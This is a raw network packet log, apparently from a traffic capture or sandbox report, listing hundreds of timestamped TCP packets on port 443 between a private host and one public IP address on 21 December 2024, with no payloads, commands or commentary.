Dec 21, 2024 19:24:53.445401907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445451975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445499897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445499897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445599079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445599079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445647955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445647955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445647955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445744991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445744991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445842981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445842981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445893049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445899963 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.445995092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.445995092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446039915 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446089029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446089029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446186066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446186066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446285009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446285009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446333885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446333885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446382999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446382999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446432114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446432114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446530104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446530104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446628094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446628094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446676970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446676970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446726084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446726084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446774960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446774960 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446871996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446871996 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446882010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.446969986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.446969986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447019100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447019100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447067976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447067976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447118044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447216034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447216034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447216034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447314024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447314024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447364092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447364092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447364092 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447411060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447460890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447460890 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447559118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447559118 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447657108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447657108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447709084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447709084 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447757959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447757959 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447807074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447807074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.447907925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.654258013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.654398918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920164108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920176983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920183897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920186996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920360088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920360088 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920370102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920375109 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920382977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920382977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920387030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920389891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920516968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920526028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920566082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920566082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920614958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920614958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920620918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920713902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920713902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920762062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920767069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.920860052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920860052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920908928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920958042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.920964956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.921056032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921164036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921228886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921371937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921502113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921684980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921837091 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.921840906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.921922922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922053099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922112942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.922178030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922306061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922306061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922331095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.922332048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.922362089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922362089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922375917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922375917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922424078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922424078 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922522068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922522068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922522068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922620058 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922669888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922669888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922744036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922766924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922766924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922766924 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922816038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922914982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922914982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.922914982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923007965 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.923012018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923012018 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923110008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923110008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923158884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923207998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923207998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923257113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923305988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923358917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923403978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923403978 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923453093 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923501968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923501968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923501968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923551083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923602104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.923603058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.923650026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923650026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923698902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923698902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923747063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923747063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923795938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923795938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923845053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923845053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923893929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923991919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923991919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.923991919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924089909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924089909 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924139023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924139023 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924187899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924213886 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.924216032 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.924285889 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924335003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924335003 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924339056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.924439907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924439907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924489021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924537897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924537897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924587011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924635887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924685001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924685001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924685001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924782991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924844027 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924849987 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.924891949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924941063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.924941063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925039053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925039053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925039053 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925137043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925137043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925185919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925185919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925235033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925235033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925235033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925375938 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925379038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.925453901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925453901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925503016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925503016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925551891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925551891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925602913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925602913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925649881 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925748110 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925796986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925796986 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925848961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925848961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925856113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.925898075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925944090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925992966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.925992966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926042080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926042080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926090956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926188946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926238060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926353931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926415920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926563025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926688910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926774979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.926820040 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.926949024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927078962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927208900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927351952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927484989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927491903 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.927678108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927793980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927989006 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.927994013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.928107977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928196907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928196907 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928246021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928294897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928348064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928348064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928392887 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928442001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928442001 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928491116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928491116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928539991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928540945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928540945 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928589106 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928611040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.928690910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928770065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928770065 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928817987 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928867102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928867102 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928915977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928915977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928966045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.928966045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929063082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929063082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929111958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929111958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929116011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.929161072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929161072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929209948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929259062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929259062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929259062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929357052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929357052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929405928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929455042 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929503918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929503918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929553032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929553032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929601908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929601908 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929701090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929701090 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929702997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.929797888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929797888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929847002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929896116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929944992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929944992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.929944992 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930042982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930042982 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930140972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930140972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930140972 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930190086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930190086 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930238962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930238962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930284023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.930288076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930386066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930386066 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930484056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930484056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930532932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930532932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930582047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930630922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930630922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930650949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:53.930728912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930728912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930828094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930828094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930828094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930828094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930876017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930876017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930924892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:53.930924892 CET	49766	443	192.168.11.20	172.67.184.254
